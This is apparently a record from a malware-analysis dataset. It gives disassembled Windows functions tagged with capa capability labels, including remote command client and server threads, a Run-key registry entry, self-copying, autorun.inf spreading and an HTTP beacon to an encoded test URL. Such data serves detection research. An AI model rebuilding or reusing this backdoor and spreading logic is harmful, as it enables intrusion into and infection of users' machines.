joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402dd4
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns

Disassembly:
push rbp
sub rsp, 0x1e0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x170], rcx
mov dword [rbp + 0x178], edx
mov qword [rbp + 0x150], 0
mov rax, qword [0x00407950]
mov r8, qword [rax]
lea rax, [rbp - 0x50]
mov rdx, rax
mov ecx, 0x202
call r8
mov dword [rbp + 0x14c], eax
cmp dword [rbp + 0x14c], 0
jne 0x402f1a
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x158], rax
cmp qword [rbp + 0x158], 0xffffffffffffffff
je 0x402f1d
mov word [rbp - 0x60], 2
mov eax, dword [rbp + 0x178]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp - 0x5e], ax
mov rcx, qword [rbp + 0x170]
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp - 0x5c], eax
mov eax, dword [rbp - 0x5c]
cmp eax, 0xffffffff
jne 0x402edd
mov rcx, qword [rbp + 0x170]
mov rax, qword [sym.imp.WS2_32.dll_gethostbyname]
call rax
mov qword [rbp + 0x150], rax
cmp qword [rbp + 0x150], 0
je 0x402f20
mov rax, qword [rbp + 0x150]
movzx eax, word [rax + 0x12]
movsx r8, ax
mov rax, qword [rbp + 0x150]
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
lea rdx, [rbp - 0x60]
lea rcx, [rdx + 4]
mov rdx, rax
call sym.memcpy
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x158]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
mov dword [rbp + 0x14c], eax
cmp dword [rbp + 0x14c], 0xffffffff
je 0x402f23
mov rax, qword [rbp + 0x158]
mov rcx, rax
call sym.pipe_create
jmp 0x402f24
nop
jmp 0x402f24
nop
jmp 0x402f24
nop
jmp 0x402f24
nop
cmp qword [rbp + 0x158], 0xffffffffffffffff
je 0x402f41
mov rax, qword [rbp + 0x158]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [0x00407940]
mov rax, qword [rax]
call rax
nop
add rsp, 0x1e0
pop rbp
ret

Function at 0x402fd2
Capabilities:
Create http request
Reference http user-agent string

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rcx, str.Mozilla_5.0
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.pipe_create_http
mov ecx, 0x64
mov rax, qword [sym.imp.KERNEL32.DLL_Sleep]
call rax
jmp 0x40300b

Function at 0x403027
Capabilities:
Create thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.cmd_client_create_thread]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.DLL_CreateThread]
call rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.cmd_server_create_thread]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.DLL_CreateThread]
call rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.cmd_http_create_thread]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.DLL_CreateThread]
call rax
nop
add rsp, 0x30
pop rbp
ret
Function at 0x4030d0
Capabilities:
Delete registry value

Disassembly:
push rbp
sub rsp, 0x180
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x110], rcx
mov dword [rbp + 0x118], edx
mov qword [rbp - 0x18], 0
movabs rax, 0x6572617774666f53
movabs rdx, 0x6f736f7263694d5c
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
movabs rax, 0x6f646e69575c7466
movabs rdx, 0x65727275435c7377
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x6f6973726556746e
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x28], 0x75525c6e
mov word [rbp - 0x24], 0x6e
mov rax, qword [0x00407900]
mov r9, qword [rax]
lea rax, [rbp - 0x10]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
call r9
cmp dword [rbp + 0x118], 0
je 0x403211
mov rax, qword [0x00407920]
mov r9, qword [rax]
lea rdx, [rbp - 0x18]
lea rax, [rbp - 0x50]
mov r8, rdx
mov rdx, rax
mov rcx, 0xffffffff80000002
call r9
test eax, eax
je 0x4031a9
mov dword [rbp + 0xfc], 0xffffffff
jmp 0x403270
lea rax, [rbp - 0x10]
mov rcx, rax
call sym.strlen
mov dword [rbp + 0xf8], eax
mov rax, qword [0x00407930]
mov r10, qword [rax]
mov rax, qword [rbp - 0x18]
mov edx, dword [rbp + 0xf8]
mov dword [rsp + 0x28], edx
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
mov rdx, qword [rbp + 0x110]
mov rcx, rax
call r10
test eax, eax
je 0x403205
mov dword [rbp + 0xfc], 0xffffffff
jmp 0x403270
mov dword [rbp + 0xfc], 0
jmp 0x403270
lea rdx, [rbp - 0x18]
lea rax, [rbp - 0x50]
mov r8, rdx
mov rdx, rax
mov rcx, 0xffffffff80000002
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
call rax
test eax, eax
je 0x40323f
mov dword [rbp + 0xfc], 0xffffffff
jmp 0x403270
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp + 0x110]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
call rax
test eax, eax
je 0x403266
mov dword [rbp + 0xfc], 0xffffffff
jmp 0x403270
mov dword [rbp + 0xfc], 0
mov rax, qword [rbp - 0x18]
test rax, rax
je 0x403289
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov eax, dword [rbp + 0xfc]
add rsp, 0x180
pop rbp
ret
Function at 0x403298
Capabilities:
Query or enumerate registry value

Disassembly:
push rbp
push rdi
sub rsp, 0x178
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x110], rcx
mov qword [rbp + 0xe8], 0
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 0
lea rdx, [rbp - 0x10]
mov eax, 0
mov ecx, 0x1e
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
movabs rax, 0x6572617774666f53
movabs rdx, 0x6f736f7263694d5c
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
movabs rax, 0x6f646e69575c7466
movabs rdx, 0x65727275435c7377
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x6f6973726556746e
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x28], 0x75525c6e
mov word [rbp - 0x24], 0x6e
mov rax, qword [0x00407920]
mov r9, qword [rax]
lea rdx, [rbp + 0xe8]
lea rax, [rbp - 0x50]
mov r8, rdx
mov rdx, rax
mov rcx, 0xffffffff80000002
call r9
test eax, eax
jne 0x4033c7
mov dword [rbp + 0xe4], 0x104
mov rax, qword [rbp + 0xe8]
lea rdx, [rbp + 0xe4]
mov qword [rsp + 0x28], rdx
lea rdx, [rbp - 0x20]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov rdx, qword [rbp + 0x110]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call rax
test eax, eax
jne 0x4033b4
mov eax, 1
jmp 0x4033cc
mov rax, qword [rbp + 0xe8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov eax, 0
add rsp, 0x178
pop rdi
pop rbp
ret

Function at 0x403412
Capabilities:
Check mutex on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov r8, qword [rbp + 0x10]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.DLL_CreateMutexA]
call rax
mov qword [rbp - 8], rax
mov rax, qword [sym.imp.KERNEL32.DLL_GetLastError]
call rax
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0xb7
jne 0x403455
mov eax, 0
jmp 0x40345a
mov eax, 1
add rsp, 0x30
pop rbp
ret

Function at 0x4034d4
Capabilities:
Copy file
Set file attributes

Disassembly:
push rbp
mov eax, 0x1130
call fcn.00405300
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x10c0], rcx
lea rax, [rbp + 0xfa0]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
call rax
mov rcx, qword [rbp + 0x10c0]
call sym.fileExists
test eax, eax
jne 0x403554
lea rax, [rbp + 0xfa0]
mov r8d, 1
mov rdx, qword [rbp + 0x10c0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_CopyFileA]
call rax
mov edx, 0
mov rcx, qword [rbp + 0x10c0]
mov rax, qword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
call rax
nop
add rsp, 0x1130
pop rbp
ret
Function at 0x4038ec
Capabilities:
Create http request

Disassembly:
push rbp
sub rsp, 0x470
lea rbp, [rsp + 0x80]
movabs rax, 0x772f2f3a70747468
movabs rdx, 0x2e747365742e7777
mov qword [rbp + 0x3b0], rax
mov qword [rbp + 0x3b8], rdx
movabs rax, 0x6b6361682e6d6f63
movabs rdx, 0x2e747365742e7265
mov qword [rbp + 0x3c0], rax
mov qword [rbp + 0x3c8], rdx
mov dword [rbp + 0x3d0], 0x74736574
mov word [rbp + 0x3d4], 0x2f2f
mov byte [rbp + 0x3d6], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 0x3e8], rax
lea rdx, [rbp + 0x3b0]
mov rax, qword [rbp + 0x3e8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x84000000
mov r9d, 0
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlA]
call rax
mov qword [rbp + 0x3e0], rax
cmp qword [rbp + 0x3e0], 0
jne 0x4039fd
mov rax, qword [rbp + 0x3e8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0x3e0]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov eax, 1
jmp 0x403a28
mov rax, qword [rbp + 0x3e8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0x3e0]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov eax, 0
add rsp, 0x470
pop rbp
ret

Function at 0x403a31
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push rbp
push rdi
sub rsp, 0x438
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x3d0], ecx
mov qword [rbp + 0x3a8], 0
mov qword [rbp - 0x60], 0
mov qword [rbp - 0x58], 0
lea rdx, [rbp - 0x50]
mov eax, 0
mov ecx, 0x7e
mov rdi, rdx
rep stosq qword [rdi], rax
lea rax, str._autorun__r_nopenexplorer.exe_r_n
mov qword [rbp + 0x3a0], rax
lea rax, [rbp - 0x60]
mov r8d, dword [rbp + 0x3d0]
lea rdx, str._c:_autorun.inf
mov rcx, rax
call sym.sprintf
lea rax, [rbp - 0x60]
lea rdx, [0x00407337]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x3a8], rax
mov rax, qword [rbp + 0x3a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
mov rcx, qword [rbp + 0x3a8]
mov rax, qword [rbp + 0x3a0]
mov r9, rcx
mov r8d, 1
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp + 0x3a8]
mov rcx, rax
call sym.fclose
lea rax, [rbp - 0x60]
mov edx, 7
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
call rax
nop
add rsp, 0x438
pop rdi
pop rbp
ret

Function at 0x403c73
Capabilities:
Create thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.set_autorun_everywhere_thread]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.DLL_CreateThread]
call rax
nop
add rsp, 0x30
pop rbp
ret
Function at 0x404280
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]

Function at 0x4042f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x0040a614]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x404498
mov rax, qword [0x0040a618]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x40433c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x4043c7
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x404320
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rbp, rax
test rax, rax
je 0x4044d2
mov rax, qword [0x0040a618]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x0040a618]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.DLL_VirtualQuery]
test rax, rax
je 0x4044e1
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x4043c0
sub eax, 4
and eax, 0xfffffffb
jne 0x404450
add dword [0x0040a614], 1
cmp ebx, 8
jae 0x4043f8
test bl, 4
jne 0x4044a0
test ebx, ebx
je 0x4043e9
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x4044c0
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x4043e9
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x40442a
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
add rdi, qword [0x0040a618]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.DLL_VirtualProtect]
test eax, eax
jne 0x4043c0
call qword [sym.imp.KERNEL32.DLL_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor edi, edi
jmp 0x404347
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x4043e9
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x4043e9
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
mov rax, qword [0x0040a618]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call dbg.__report_error
nop
nop dword [rax]
Function at 0x404cc0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x0040a900]
call qword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
mov rbx, qword [0x0040a8e0]
test rbx, rbx
je 0x404d14
mov rdi, qword [sym.imp.KERNEL32.DLL_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.DLL_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x404d0b
test r12, r12
je 0x404d0b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x404cf0
lea rcx, [0x0040a900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]

Function at 0x404f40
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
jne 0x404f50
jmp sym._ValidateImageBase.part.0
xor eax, eax
ret

Function at 0x404f60
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x404fa5
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp r8, rdx
ja 0x404f9c
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x404fa7
add rax, 0x28
cmp rax, r9
jne 0x404f88
xor eax, eax
ret

Function at 0x405050
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x00407750]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x4050c9
mov rcx, r10
call sym._ValidateImageBase.part.0
test eax, eax
je 0x4050c9
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x4050c6
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x4050bd
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x4050c9
add r8, 0x28
cmp r8, r9
jne 0x4050a8
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret

Function at 0x4051b0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x00407750]
xor eax, eax
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x40521f
mov rcx, r9
call sym._ValidateImageBase.part.0
test eax, eax
je 0x40521f
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
movzx edx, word [r9 + 6]
lea rax, [r9 + rax + 0x18]
test edx, edx
je 0x40521d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x405214
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x405228
add rax, 0x28
cmp rax, r9
jne 0x405200
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret
Function at 0x405240
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x00407750]
xor r9d, r9d
cmp word [r11], 0x5a4d
mov r8d, ecx
jne 0x4052b8
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x4052b8
movsxd rcx, dword [r11 + 0x3c]
add rcx, r11
mov eax, dword [rcx + 0x90]
test eax, eax
je 0x4052b8
movzx edx, word [rcx + 0x14]
lea rdx, [rcx + rdx + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x4052b8
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r10, [rdx + rcx*8 + 0x28]
nop dword [rax + rax]
mov r9d, dword [rdx + 0xc]
mov rcx, r9
cmp rax, r9
jb 0x4052ac
add ecx, dword [rdx + 8]
cmp rax, rcx
jb 0x4052c0
add rdx, 0x28
cmp rdx, r10
jne 0x405298
xor r9d, r9d
mov rax, r9
add rsp, 0x28
ret
add rax, r11
jmp 0x4052d0
sub r8d, 1
add rax, 0x14
mov ecx, dword [rax + 4]
test ecx, ecx
jne 0x4052de
mov edx, dword [rax + 0xc]
test edx, edx
je 0x4052b5
test r8d, r8d
jg 0x4052c8
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
add rsp, 0x28
ret
Function at 0x180003710
Capabilities:
Encode data using base64 via winapi

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rdi, r9
mov qword [rsp + 0x20], r9
mov r9, r8
mov rbx, r8
mov r8d, 1
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
test eax, eax
jne 0x180003742
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x180003775
mov eax, dword [rdi]
xor ecx, ecx
test eax, eax
je 0x180003771
cmp byte [rbx], 0x3d
jne 0x180003756
mov byte [rbx], 0
dec eax
jmp 0x180003768
cmp byte [rbx], 0x2f
jne 0x180003760
mov byte [rbx], 0x5f
jmp 0x180003768
cmp byte [rbx], 0x2b
jne 0x180003768
mov byte [rbx], 0x2d
inc ecx
inc rbx
cmp ecx, dword [rdi]
jb 0x18000374a
mov dword [rdi], eax
xor eax, eax
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x180003780
Capabilities:
Decode data using base64 via winapi

Disassembly:
push rbx
sub rsp, 0x40
xor ebx, ebx
test edx, edx
je 0x1800037bc
mov rax, rcx
mov r10d, edx
cmp byte [rax], 0x5f
jne 0x18000379c
mov byte [rax], 0x2f
jmp 0x1800037a4
cmp byte [rax], 0x2d
jne 0x1800037a4
mov byte [rax], 0x2b
inc rax
sub r10, 1
jne 0x180003792
jmp 0x1800037bc
cmp edx, r8d
ja 0x1800037f5
mov eax, edx
inc edx
mov byte [rax + rcx], 0x3d
test dl, 3
jne 0x1800037af
mov rax, qword [rsp + 0x70]
mov r8d, 1
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
jne 0x1800037ed
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov eax, ebx
add rsp, 0x40
pop rbx
ret
mov eax, 6
jmp 0x1800037ef
Function at 0x1800058c8
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov eax, dword [rcx + 4]
lea rbx, [rcx + 8]
mov r9d, dword [rcx]
mov rdi, rcx
mov rcx, rbx
mov dword [rsp + 0x20], eax
xor r8d, r8d
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x180005925
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x18000591f
mov r9d, dword [rdi]
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 8
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x180005925
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rax, qword [rbx]
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x180005934
Capabilities:
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov dword [rax + 0x20], r9d
push rdi
sub rsp, 0x40
and qword [rax - 0x10], 0
mov rbx, rcx
lea rcx, [rax - 0x18]
mov dword [rax - 0x18], 0x18
mov rdi, rdx
mov dword [rax - 0x14], 0xf0000000
call fcn.1800058c8
test rax, rax
je 0x1800059b9
mov rax, qword [rsp + 0x38]
test rax, rax
jne 0x18000597f
lea rcx, [rsp + 0x30]
call fcn.1800058c8
xor r9d, r9d
mov qword [rsp + 0x20], rbx
xor r8d, r8d
mov edx, 0x800c
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1800059b3
mov rcx, qword [rbx]
xor r9d, r9d
mov rdx, rdi
lea r8d, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x1800059db
call qword [sym.imp.KERNEL32.dll_GetLastError]
or ebx, 0xffffffff
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x1800059ce
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
mov rcx, qword [rsp + 0x70]
mov r8d, 0x20
xor edx, edx
mov dword [rsp + 0x68], r8d
call sub.msvcrt.dll_memset
mov r8, qword [rsp + 0x70]
lea r9, [rsp + 0x68]
mov rcx, qword [rbx]
mov edx, 2
and dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
test eax, eax
je 0x1800059b3
xor ebx, ebx
jmp 0x1800059bc

Function at 0x180005a18
Capabilities:
Encrypt data using aes via winapi

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x70
mov rax, qword [0x180012008]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rax, r8
mov dword [rsp + 0x30], 0x208
mov rbx, rdx
mov r8d, r9d
mov rdi, rcx
mov dword [rsp + 0x34], 0x660e
xorps xmm0, xmm0
mov dword [rsp + 0x38], r9d
xorps xmm1, xmm1
lea rcx, [rsp + 0x3c]
mov rdx, rax
xor esi, esi
movdqu xmmword [rsp + 0x3c], xmm0
movdqu xmmword [rsp + 0x4c], xmm1
call sub.msvcrt.dll_memcpy
mov rax, qword [rbx + 8]
test rax, rax
jne 0x180005a82
mov rcx, rbx
call fcn.1800058c8
xor r9d, r9d
mov qword [rsp + 0x28], rdi
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x20], esi
mov rcx, rax
lea r8d, [r9 + 0x2c]
call qword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
jne 0x180005aaf
call qword [sym.imp.KERNEL32.dll_GetLastError]
or eax, 0xffffffff
jmp 0x180005ab1
xor eax, eax
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.18000cf30
add rsp, 0x70
pop rdi
pop rsi
pop rbx
ret